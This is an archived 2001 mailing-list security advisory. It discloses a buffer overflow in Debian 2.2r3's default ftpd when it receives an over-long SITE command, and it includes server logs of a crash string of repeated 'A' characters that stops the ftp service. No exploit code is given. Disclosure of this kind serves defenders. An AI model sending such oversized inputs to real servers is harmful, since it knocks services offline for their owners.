Tamersahin.net Security Announcement: Debian 2.2 is 2.2r3 Ftpd Daemon Buffer Owerflow Vulnerability

From: Tamer Sahin (feedbackat_private)
Date: Fri May 18 2001 - 03:03:22 PDT

Next message: Wietse Venema: "Mail delivery privileges (was: Solaris /usr/bin/mailx exploit)"

Previous message: Nobuo Miwa: "TrendMicro Interscan VirusWall RegGo.dll BOf"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

=========================================
Tamersahin.net Security Announcement
=========================================
DEBIAN 2.2 is 2.2r3 FTPD DAEMON BUFFER OWERFLOW
=========================================

Release Date:
==========
May 18, 2001

Severity:
=======
High.

Systems Affected:
==============
Debian 2.2 is 2.2r3 default ftpd daemon Version 6.2/OpenBSD/Linux-0.10.

Concept:
=======
The vulnerability arises when a buffer of aprox. 400 bytes and more is sent
within
the ftpd daemon running Debian host header for a SITE request.

Example:
=======
May 18 12:32:46 ts ftpd[677]: ts FTP server (Version 6.2/OpenBSD/Linux-0.10)
ready.
May 18 12:32:47 ts ftpd[677]: command: SITE
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
May 18 12:32:47 ts ftpd[677]: <--- 500
May 18 12:32:47 ts ftpd[677]: 'SITE
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA': command not understood.
May 18 12:32:47 ts ftpd[677]: <--- 221
May 18 12:32:47 ts ftpd[677]: You could at least say goodbye.
May 18 12:32:47 ts inetd[139]: ftp/tcp server failing (looping), service
terminated

Exploit Code:
==========
Not yet.

Author:
======
Tamer Sahin
http://www.tamersahin.net
feedbackat_private

Copyright (c) 1995-2001 tamersahin.net

Next message: Wietse Venema: "Mail delivery privileges (was: Solaris /usr/bin/mailx exploit)"
Previous message: Nobuo Miwa: "TrendMicro Interscan VirusWall RegGo.dll BOf"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

This archive was generated by hypermail 2b30 : Fri May 18 2001 - 11:33:04 PDT